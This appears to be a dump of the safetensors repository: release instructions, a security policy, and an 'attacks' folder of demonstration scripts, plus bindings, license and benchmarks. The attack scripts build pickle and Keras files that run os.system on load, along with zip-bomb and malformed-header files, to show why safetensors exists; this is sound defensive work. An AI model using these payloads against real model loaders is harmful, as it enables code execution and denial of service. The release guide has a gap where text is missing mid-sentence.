This document covers the full release process for the safetensors project. If anything here is unclear or out of date, please open a PR.
## What gets released
A single tag push triggers two releases:
- **Rust core crate** on [crates.io](https://crates.io/crates/safetensors), via `.github/workflows/rust-release.yml`
- **Python wheels + sdist** on [PyPI](https://pypi.org/project/safetensors), via `.github/workflows/python-release.yml` (with build-provenance attestations)
Both workflows trigger on tags matching `v*` (e.g. `v0.8.0`, `v0.8.0-rc.0`).
Conda packages are published separately via the [conda-forge/safetensors-feedstock](https://github.com/conda-forge/safetensors-feedstock), which picks up new PyPI releases automatically. No action is required from us.
The Rust crate and the Python binding share a version number. They could be versioned independently, but in practice they've always moved together.
## Pre-release checklist
1. **CI is green** on `main`, every platform, every Python version.
2. **Review the diff** since the last release:
```bash
git log --oneline v0.7.0..main
git diff v0.7.0..main --stat
```
3. **Identify breaking changes.** Anything that changes the public Rust or Python API should be called out in the release notes and reflected in the version bump per [semver](https://semver.org).
4. **Run benchmarks** if the release includes performance-sensitive work:
```bash
cd safetensors && cargo bench
```
5. **Test against `transformers`.** It's the largest downstream consumer of safetensors.
- At minimum, run the fast test suite:
```bash
RUN_PIPELINE_TESTS=1 CUDA_VISIBLE_DEVICES=-1 pytest -sv tests/
```
- For any significant release, run the full suite by rebasing these two PRs on the `transformers` repo:
- [transformers#16708](https://github.com/huggingface/transformers/pull/16708) — builds docker images with `safetensors@main`
- [transformers#16712](https://github.com/huggingface/transformers/pull/16712) — runs the full test suite
If those PRs have drifted, ask the `transformers` team for the current entry point.
6. **Check the `transformers` version pin.** `transformers` pins `safetensors>=X,
git cherry-pick
git push origin fix/backport-
```
Open a PR from the feature branch so CI runs against `main` before merging. This ensures the fix isn't lost when the next release branches off.
## Testing release CI changes
If you're modifying the release workflows:
1. Comment out the upload steps (`maturin upload` / `cargo publish`).
2. Temporarily change the trigger to `push` on your branch.
3. Iterate until the artifacts build cleanly.
4. Revert both changes before merging.
## Troubleshooting
- **PyPI upload failed mid-matrix.** `--skip-existing` makes re-runs safe. Re-run from the Actions UI.
- **`cargo publish` says "already published".** You can't re-publish the same version. Bump to the next patch or pre-release and tag again.
- **Conda package not updated.** Conda packages are published via [conda-forge/safetensors-feedstock](https://github.com/conda-forge/safetensors-feedstock), which tracks PyPI. The feedstock's bot usually opens an auto-update PR within a day of the PyPI release; if it hasn't, ping the feedstock maintainers or open the PR yourself.
- **Workflow didn't trigger.** Verify the tag was pushed and that the name matches `v*`.
safetensors-safetensors-a406ca3/SECURITY.md 0000664 0000000 0000000 00000003577 15211744761 0020620 0 ustar 00root root 0000000 0000000 # Security Policy
## Reporting a Vulnerability
If you believe you have found a security issue in safetensors, please do **not** open a public GitHub issue.
Instead, email [security@huggingface.co](mailto:security@huggingface.co) with a description of the issue, steps to reproduce, and any relevant details. Someone from the Hugging Face security team will review your report and recommend next steps.
You may also disclose your report through [Huntr](https://huntr.com), a vulnerability disclosure program for open-source projects.
## Hugging Face Hub and remote artefacts
Safetensors is open-source software that defines a simple format for storing tensors safely, and provides fast
(zero-copy) Rust and Python libraries to read and write it. It was designed specifically to prevent the arbitrary
code execution risks associated with formats like [pickle](https://docs.python.org/3/library/pickle.html).
While safetensors can be used fully offline, it is commonly paired with the Hugging Face Hub to download model
weights uploaded by others. When consuming artefacts from any platform, you expose yourself to risks. The
recommendations below help keep your runtime and local environment safe.
### Remote artefacts
Models uploaded on the Hugging Face Hub come in different formats. We heavily recommend uploading and downloading
models in the [`safetensors`](https://github.com/huggingface/safetensors) format, which cannot execute arbitrary code when loaded.
When loading a model through a downstream library that supports multiple formats (e.g. `transformers`, `diffusers`),
prefer the option that forces the use of safetensors (such as `use_safetensors=True` in `transformers`) so that
loading fails loudly rather than silently falling back to an unsafe format.
We also recommend pinning a specific revision of the repository you download from, to protect yourself from
upstream changes to the weights.
safetensors-safetensors-a406ca3/attacks/ 0000775 0000000 0000000 00000000000 15211744761 0020445 5 ustar 00root root 0000000 0000000 safetensors-safetensors-a406ca3/attacks/README.md 0000664 0000000 0000000 00000005656 15211744761 0021740 0 ustar 00root root 0000000 0000000 The purpose of this directory is to showcase various attacks (and creating your own).
# Torch Arbitrary code execution
Try it out. This will create a seemingly innocuous `torch_ace.pt` file.
```
python torch_ace_create.py
python torch_ace_get_pwned.py
```
# PaddlePaddle Arbitrary code execution
Try it out. This will create a seemingly innocuous `paddle_ace.pdparams` file.
```
python paddle_ace_create.py
python paddle_ace_get_pwned.py
```
# Tensorflow (Keras) Arbitrary Code execution (does not affect `transformers`)
Try it out. This will create a seemingly innocuous `tf_ace.h5` file.
```
python tf_dos_create.py
python tf_dos_get_pwned.py
```
# Torch Denial of Service (OOM kills the running process)
Try it out. This will create a seemingly innocuous `torch_dos.pt` file.
```
python torch_dos_create.py
python torch_dos_get_pwned.py
```
# Numpy Denial of Service (OOM kills the running process)
Try it out. This will create a seemingly innocuous `numpy_dos.npz` file.
```
python numpy_dos_create.py
python numpy_dos_get_pwned.py
```
# Safetensors abuse attempts
In order to try and check the limits, we also try to abuse the current format.
Please send ideas!
A few things can be abused:
- Proposal 1: The initial 8 bytes, which could be too big with regards to the file. This crashes, and crashes early (Out of bounds) (Attempt #1).
- Proposal 2: The initial header is JSON, an attacker could use a 4Go JSON file to delay the loads. Debattable how much of an attack this is, but at least
it's impossible to "bomb" (like the DOS attacks above) where the files are vastly smaller than their expanded version (because of zip abuse).
Various "protections" could be put in place, like a header proportion cap (header should always be <<< of the size of the file). (Attempt #2)
- Proposal 3: The offsets could be negative, out of the file. This is all crashing by default.
- Proposal 4: The offsets could overlap. ~~This is actually OK.~~ This is NOT ok.
While testing Proposal 2, I realized that the tensors themselves where all allocated, and gave me an idea for a DOS exploit where you would have a relatively small
file a few megs tops, but defining many tensors on the same overlapping part of the file, it was essentially a DOS attack. The mitigation is rather simple, we sanitize the fact
that the offsets must be contiguous and non overlapping.
- Proposal 5: The offsets could mismatch the declared shapes + dtype. This validated against.
- Proposal 6: The file being mmaped could be modified while it's opened (attacker has access to your filesystem, seems like you're already pwned).
- Proposal 7: serde JSON deserialization abuse (nothing so far: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=serde). It doesn't mean there isn't a flaw. Same goes for the actual rust compiled binary.
```
python safetensors_abuse_attempt_1.py
python safetensors_abuse_attempt_2.py
python safetensors_abuse_attempt_3.py
```
safetensors-safetensors-a406ca3/attacks/numpy_dos_create.py 0000664 0000000 0000000 00000000517 15211744761 0024362 0 ustar 00root root 0000000 0000000 from zipfile import ZIP_DEFLATED, ZipFile
FILESIZE = 40 * 1000 # 40 Go
BUFFER = b"\0" * 1000 * 1000 # 1Mo
outfilename = "numpy_dos.npz"
with ZipFile(outfilename, "w", compression=ZIP_DEFLATED) as outzip:
with outzip.open("weights.npy", "w", force_zip64=True) as f:
for i in range(FILESIZE):
f.write(BUFFER)
safetensors-safetensors-a406ca3/attacks/numpy_dos_get_pwned.py 0000664 0000000 0000000 00000000663 15211744761 0025075 0 ustar 00root root 0000000 0000000 import os
import numpy as np
filename = "numpy_dos.npz"
print(
f"We're going to load {repr(filename)} which is {os.path.getsize(filename) / 1000 / 1000} Mb so it should be fine."
)
print("Be careful this might crash your computer by reserving way too much RAM")
input("Press Enter to continue")
archive = np.load(filename)
weights = archive["weight"]
assert np.allclose(weights, np.zeros((2, 2)))
print("The file looks fine !")
safetensors-safetensors-a406ca3/attacks/paddle_ace_create.py 0000664 0000000 0000000 00000002736 15211744761 0024413 0 ustar 00root root 0000000 0000000 import paddle
import numpy as np
from collections import Iterable, OrderedDict
def _parse_every_object(obj, condition_func, convert_func):
if condition_func(obj):
return convert_func(obj)
elif isinstance(obj, (dict, OrderedDict, list)):
if isinstance(obj, list):
keys = range(len(obj))
else:
keys = list(obj.keys())
for key in keys:
if condition_func(obj[key]):
obj[key] = convert_func(obj[key])
else:
obj[key] = _parse_every_object(
obj[key], condition_func, convert_func
)
return obj
elif isinstance(obj, tuple):
return tuple(
_parse_every_object(list(obj), condition_func, convert_func)
)
elif isinstance(obj, set):
object(list(obj), condition_func, convert_func)
else:
return obj
# hack _parse_every_object method
paddle.framework.io._parse_every_object = _parse_every_object
class BadDict(dict):
def __init__(self, src: str, **kwargs):
super().__init__(**kwargs)
self.src = src
def __reduce__(self):
return (
eval,
(f"os.system('{self.src}') or dict()",),
None,
None,
iter(self.items()),
)
paddle.save(
[BadDict(
'echo "pwned your computer, I can do anything I want."',
**{"weight": paddle.zeros((2, 2))},
)],
"paddle_ace.pdparams",
)
safetensors-safetensors-a406ca3/attacks/paddle_ace_get_pwned.py 0000664 0000000 0000000 00000000310 15211744761 0025106 0 ustar 00root root 0000000 0000000 import paddle
weights = paddle.load("paddle_ace.pdparams")[0]
assert list(weights.keys()) == ["weight"]
assert paddle.allclose(weights["weight"], paddle.zeros((2, 2)))
print("The file looks fine !")
safetensors-safetensors-a406ca3/attacks/safetensors_abuse_attempt_1.py 0000664 0000000 0000000 00000001031 15211744761 0026503 0 ustar 00root root 0000000 0000000 import torch
from safetensors.torch import load_file, save_file
filename = "safetensors_abuse_attempt_1.safetensors"
def create_payload():
weights = {"weight": torch.zeros((2, 2))}
save_file(weights, filename)
with open(filename, "r+b") as f:
f.seek(0)
# Now the header claims 2**32 - xx even though the file is small
n = 1000
n_bytes = n.to_bytes(8, "little")
f.write(n_bytes)
create_payload()
# This properly crashes with an out of bounds exception.
test = load_file(filename)
safetensors-safetensors-a406ca3/attacks/safetensors_abuse_attempt_2.py 0000664 0000000 0000000 00000001427 15211744761 0026515 0 ustar 00root root 0000000 0000000 import datetime
import json
import os
from safetensors.torch import load_file
filename = "safetensors_abuse_attempt_2.safetensors"
def create_payload():
shape = [2, 2]
n = shape[0] * shape[1] * 4
metadata = {
f"weight_{i}": {"dtype": "F32", "shape": shape, "data_offsets": [0, n]} for i in range(1000 * 1000 * 10)
}
binary = json.dumps(metadata).encode("utf-8")
n = len(binary)
n_header = n.to_bytes(8, "little")
with open(filename, "wb") as f:
f.write(n_header)
f.write(binary)
f.write(b"\0" * n)
create_payload()
print(f"The file {filename} is {os.path.getsize(filename) / 1000/ 1000} Mo")
start = datetime.datetime.now()
test = load_file(filename)
print(f"Loading the file took {datetime.datetime.now() - start}")
safetensors-safetensors-a406ca3/attacks/safetensors_abuse_attempt_3.py 0000664 0000000 0000000 00000001406 15211744761 0026513 0 ustar 00root root 0000000 0000000 import datetime
import json
import os
from safetensors.torch import load_file
filename = "safetensors_abuse_attempt_2.safetensors"
def create_payload():
shape = [200, 200]
n = shape[0] * shape[1] * 4
metadata = {f"weight_{i}": {"dtype": "F32", "shape": shape, "data_offsets": [0, n]} for i in range(1000 * 100)}
binary = json.dumps(metadata).encode("utf-8")
n = len(binary)
n_header = n.to_bytes(8, "little")
with open(filename, "wb") as f:
f.write(n_header)
f.write(binary)
f.write(b"\0" * n)
create_payload()
print(f"The file {filename} is {os.path.getsize(filename) / 1000/ 1000} Mo")
start = datetime.datetime.now()
test = load_file(filename)
print(f"Loading the file took {datetime.datetime.now() - start}")
safetensors-safetensors-a406ca3/attacks/tf_ace_create.py 0000664 0000000 0000000 00000000743 15211744761 0023567 0 ustar 00root root 0000000 0000000 import tensorflow as tf
def exec_(*args, **kwargs):
import os
os.system('echo "########################################\nI own you.\n########################################"')
return 10
num_classes = 10
input_shape = (28, 28, 1)
model = tf.keras.Sequential([tf.keras.Input(shape=input_shape), tf.keras.layers.Lambda(exec_, name="custom")])
###
# model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"])
model.save("tf_ace.h5")
###
safetensors-safetensors-a406ca3/attacks/tf_ace_get_pwned.py 0000664 0000000 0000000 00000000751 15211744761 0024277 0 ustar 00root root 0000000 0000000 import base64
import json
import h5py
import tensorflow as tf
new_model = tf.keras.models.load_model("tf.h5")
print("Transformers is not vulnerable to this, as it uses h5 directly.")
print("Keras uses a pickled code of the function within the `h5` attrs of the file")
print("Let's show you the marshalled code")
with h5py.File("tf_ace.h5") as f:
data = json.loads(f.attrs["model_config"])
print(base64.b64decode(data["config"]["layers"][-1]["config"]["function"][0]))
pass
safetensors-safetensors-a406ca3/attacks/tf_safe_ace_create.py 0000664 0000000 0000000 00000000634 15211744761 0024564 0 ustar 00root root 0000000 0000000 import tensorflow as tf
def exec_(*args, **kwargs):
import os
os.system('echo "########################################\nI own you.\n########################################"')
return 10
num_classes = 10
input_shape = (28, 28, 1)
model = tf.keras.Sequential([tf.keras.Input(shape=input_shape), tf.keras.layers.Lambda(exec_, name="custom")])
model.save("tf_ace.keras", save_format="keras_v3")
safetensors-safetensors-a406ca3/attacks/tf_safe_ace_get_pwned.py 0000664 0000000 0000000 00000000120 15211744761 0025263 0 ustar 00root root 0000000 0000000 import tensorflow as tf
new_model = tf.keras.models.load_model("tf_ace.keras")
safetensors-safetensors-a406ca3/attacks/torch_ace_create.py 0000664 0000000 0000000 00000000757 15211744761 0024302 0 ustar 00root root 0000000 0000000 import torch
class BadDict(dict):
def __init__(self, src: str, **kwargs):
super().__init__(**kwargs)
self.src = src
def __reduce__(self):
return (
eval,
(f"os.system('{self.src}') or dict()",),
None,
None,
iter(self.items()),
)
torch.save(
BadDict(
'echo "pwned your computer, I can do anything I want."',
**{"weight": torch.zeros((2, 2))},
),
"torch_ace.pt",
)
safetensors-safetensors-a406ca3/attacks/torch_ace_get_pwned.py 0000664 0000000 0000000 00000000272 15211744761 0025003 0 ustar 00root root 0000000 0000000 import torch
weights = torch.load("torch_ace.pt")
assert list(weights.keys()) == ["weight"]
assert torch.allclose(weights["weight"], torch.zeros((2, 2)))
print("The file looks fine !")
safetensors-safetensors-a406ca3/attacks/torch_dos_create.py 0000664 0000000 0000000 00000001277 15211744761 0024335 0 ustar 00root root 0000000 0000000 import os
from zipfile import ZIP_DEFLATED, ZipFile
import torch
FILESIZE = 40 * 1000 # 40 Go
BUFFER = b"\0" * 1000 * 1000 # 1 Mo
filename = "torch_dos_tmp.pt"
torch.save({"weight": torch.zeros((2, 2))}, filename)
with ZipFile(filename, "r") as torch_zip:
outfilename = "torch_dos.pt"
with ZipFile(outfilename, "w", compression=ZIP_DEFLATED) as outzip:
outzip.writestr("archive/data.pkl", torch_zip.open("archive/data.pkl").read())
outzip.writestr("archive/version", torch_zip.open("archive/version").read())
with outzip.open("archive/data/0", "w", force_zip64=True) as f:
for i in range(FILESIZE):
f.write(BUFFER)
os.remove(filename)
safetensors-safetensors-a406ca3/attacks/torch_dos_get_pwned.py 0000664 0000000 0000000 00000000715 15211744761 0025042 0 ustar 00root root 0000000 0000000 import os
import torch
filename = "torch_dos.pt"
print(
f"We're going to load {repr(filename)} which is {os.path.getsize(filename) / 1000 / 1000} Mb so it should be fine."
)
print("Be careful this might crash your computer by reserving way too much RAM")
input("Press Enter to continue")
weights = torch.load(filename)
assert list(weights.keys()) == ["weight"]
assert torch.allclose(weights["weight"], torch.zeros((2, 2)))
print("The file looks fine !")
safetensors-safetensors-a406ca3/bindings/ 0000775 0000000 0000000 00000000000 15211744761 0020610 5 ustar 00root root 0000000 0000000 safetensors-safetensors-a406ca3/bindings/python/ 0000775 0000000 0000000 00000000000 15211744761 0022131 5 ustar 00root root 0000000 0000000 safetensors-safetensors-a406ca3/bindings/python/.gitignore 0000664 0000000 0000000 00000001245 15211744761 0024123 0 ustar 00root root 0000000 0000000 # Byte-compiled / optimized / DLL files
__pycache__/
.pytest_cache/
*.py[cod]
# C extensions
*.so
# Distribution / packaging
.Python
.venv/
env/
bin/
build/
develop-eggs/
dist/
eggs/
lib/
lib64/
parts/
sdist/
var/
include/
man/
venv/
*.egg-info/
.installed.cfg
*.egg
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
pip-selfcheck.json
# Unit test / coverage reports
htmlcov/
.tox/
.coverage
.cache
nosetests.xml
coverage.xml
# Translations
*.mo
# Mr Developer
.mr.developer.cfg
.project
.pydevproject
# Rope
.ropeproject
# Django stuff:
*.log
*.pot
.DS_Store
# Sphinx documentation
docs/_build/
# PyCharm
.idea/
# VSCode
.vscode/
# Pyenv
.python-version
safetensors-safetensors-a406ca3/bindings/python/Cargo.toml 0000664 0000000 0000000 00000001545 15211744761 0024066 0 ustar 00root root 0000000 0000000 [package]
name = "safetensors-python"
version = "0.8.0"
edition = "2021"
rust-version = "1.74"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[lib]
name = "safetensors_rust"
crate-type = ["cdylib"]
[dependencies]
pyo3 = { version = "0.28", features = ["abi3", "abi3-py310"] }
memmap2 = "0.9"
serde_json = "1.0"
[dependencies.safetensors]
path = "../../safetensors"
[target.'cfg(target_os = "macos")'.dependencies]
libc = "0.2"
# Metal-direct MTLBuffer path is Apple-silicon-only: Shared-mode buffers rely
# on UMA semantics that don't hold on Intel Macs with discrete GPUs. Intel
# Macs fall back to the existing copy path.
[target.'cfg(all(target_os = "macos", target_arch = "aarch64"))'.dependencies]
objc2 = "0.6"
objc2-metal = { version = "0.3", features = [
"MTLDevice",
"MTLBuffer",
"MTLResource",
] }
safetensors-safetensors-a406ca3/bindings/python/LICENSE 0000664 0000000 0000000 00000026135 15211744761 0023145 0 ustar 00root root 0000000 0000000 Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright [yyyy] [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
safetensors-safetensors-a406ca3/bindings/python/MANIFEST.in 0000664 0000000 0000000 00000000276 15211744761 0023674 0 ustar 00root root 0000000 0000000 include Cargo.toml
include pyproject.toml
include rust-toolchain
include ../../LICENSE
recursive-include src *
recursive-include safetensors-lib *
recursive-exclude safetensors-lib/target *
safetensors-safetensors-a406ca3/bindings/python/Makefile 0000664 0000000 0000000 00000002117 15211744761 0023572 0 ustar 00root root 0000000 0000000 .PHONY: deps_table_update modified_only_fixup extra_style_checks quality style fixup fix-copies test test-examples
# make sure to test the local checkout in scripts and not the pre-installed one (don't use quotes!)
export PYTHONPATH = src
check_dirs := tests py_src
modified_only_fixup:
$(eval modified_py_files := $(shell python utils/get_modified_files.py $(check_dirs)))
@if test -n "$(modified_py_files)"; then \
echo "Checking/fixing $(modified_py_files)"; \
black --preview $(modified_py_files); \
isort $(modified_py_files); \
flake8 $(modified_py_files); \
else \
echo "No library .py files were modified"; \
fi
quality:
black --check --preview $(check_dirs)
isort --check-only $(check_dirs)
flake8 $(check_dirs)
# doc-builder style src/transformers docs/source --max_len 119 --check_only --path_to_docs docs/source
style:
black --preview $(check_dirs)
isort $(check_dirs)
# Super fast fix and check target that only works on relevant modified files since the branch was made
fixup: modified_only_fixup
test:
python -m pytest -n auto --dist=loadfile -s -v ./tests/
safetensors-safetensors-a406ca3/bindings/python/README.md 0000664 0000000 0000000 00000001524 15211744761 0023412 0 ustar 00root root 0000000 0000000 ## Installation
```
pip install safetensors
```
## Usage
### Numpy
```python
from safetensors.numpy import save_file, load_file
import numpy as np
tensors = {
"a": np.zeros((2, 2)),
"b": np.zeros((2, 3), dtype=np.uint8)
}
save_file(tensors, "./model.safetensors")
# Now loading
loaded = load_file("./model.safetensors")
```
### Torch
```python
from safetensors.torch import save_file, load_file
import torch
tensors = {
"a": torch.zeros((2, 2)),
"b": torch.zeros((2, 3), dtype=torch.uint8)
}
save_file(tensors, "./model.safetensors")
# Now loading
loaded = load_file("./model.safetensors")
```
### Developing
```
# inside ./safetensors/bindings/python
pip install .[dev]
```
Should be enough to install this library locally.
### Testing
```
# inside ./safetensors/bindings/python
pip install .[dev]
pytest -sv tests/
```
safetensors-safetensors-a406ca3/bindings/python/benches/ 0000775 0000000 0000000 00000000000 15211744761 0023540 5 ustar 00root root 0000000 0000000 safetensors-safetensors-a406ca3/bindings/python/benches/test_flax.py 0000664 0000000 0000000 00000004136 15211744761 0026107 0 ustar 00root root 0000000 0000000 import os
import tempfile
import jax.numpy as jnp
from flax.serialization import msgpack_restore, msgpack_serialize
from safetensors.flax import load_file, save_file
def create_gpt2(n_layers: int):
tensors = {}
tensors["wte"] = jnp.zeros((50257, 768))
tensors["wpe"] = jnp.zeros((1024, 768))
for i in range(n_layers):
tensors[f"h.{i}.ln_1.weight"] = jnp.zeros((768,))
tensors[f"h.{i}.ln_1.bias"] = jnp.zeros((768,))
tensors[f"h.{i}.attn.bias"] = jnp.zeros((1, 1, 1024, 1024))
tensors[f"h.{i}.attn.c_attn.weight"] = jnp.zeros((768, 2304))
tensors[f"h.{i}.attn.c_attn.bias"] = jnp.zeros((2304))
tensors[f"h.{i}.attn.c_proj.weight"] = jnp.zeros((768, 768))
tensors[f"h.{i}.attn.c_proj.bias"] = jnp.zeros((768))
tensors[f"h.{i}.ln_2.weight"] = jnp.zeros((768))
tensors[f"h.{i}.ln_2.bias"] = jnp.zeros((768))
tensors[f"h.{i}.mlp.c_fc.weight"] = jnp.zeros((768, 3072))
tensors[f"h.{i}.mlp.c_fc.bias"] = jnp.zeros((3072))
tensors[f"h.{i}.mlp.c_proj.weight"] = jnp.zeros((3072, 768))
tensors[f"h.{i}.mlp.c_proj.bias"] = jnp.zeros((768))
tensors["ln_f.weight"] = jnp.zeros((768))
tensors["ln_f.bias"] = jnp.zeros((768))
return tensors
def load(filename):
with open(filename, "rb") as f:
data = f.read()
flax_weights = msgpack_restore(data)
return flax_weights
def test_flax_flax_load(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
serialized = msgpack_serialize(weights)
f.write(serialized)
result = benchmark(load, f.name)
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert jnp.allclose(v, tv)
def test_flax_sf_load(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
save_file(weights, f.name)
result = benchmark(load_file, f.name)
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert jnp.allclose(v, tv)
safetensors-safetensors-a406ca3/bindings/python/benches/test_mlx.py 0000664 0000000 0000000 00000004201 15211744761 0025746 0 ustar 00root root 0000000 0000000 import os
import platform
import tempfile
if platform.system() == "Darwin":
import mlx.core as mx
from safetensors.mlx import load_file, save_file
def create_gpt2(n_layers: int):
tensors = {}
tensors["wte"] = mx.zeros((50257, 768))
tensors["wpe"] = mx.zeros((1024, 768))
for i in range(n_layers):
tensors[f"h.{i}.ln_1.weight"] = mx.zeros((768,))
tensors[f"h.{i}.ln_1.bias"] = mx.zeros((768,))
tensors[f"h.{i}.attn.bias"] = mx.zeros((1, 1, 1024, 1024))
tensors[f"h.{i}.attn.c_attn.weight"] = mx.zeros((768, 2304))
tensors[f"h.{i}.attn.c_attn.bias"] = mx.zeros((2304))
tensors[f"h.{i}.attn.c_proj.weight"] = mx.zeros((768, 768))
tensors[f"h.{i}.attn.c_proj.bias"] = mx.zeros((768))
tensors[f"h.{i}.ln_2.weight"] = mx.zeros((768))
tensors[f"h.{i}.ln_2.bias"] = mx.zeros((768))
tensors[f"h.{i}.mlp.c_fc.weight"] = mx.zeros((768, 3072))
tensors[f"h.{i}.mlp.c_fc.bias"] = mx.zeros((3072))
tensors[f"h.{i}.mlp.c_proj.weight"] = mx.zeros((3072, 768))
tensors[f"h.{i}.mlp.c_proj.bias"] = mx.zeros((768))
tensors["ln_f.weight"] = mx.zeros((768))
tensors["ln_f.bias"] = mx.zeros((768))
return tensors
def load(filename):
return mx.load(filename)
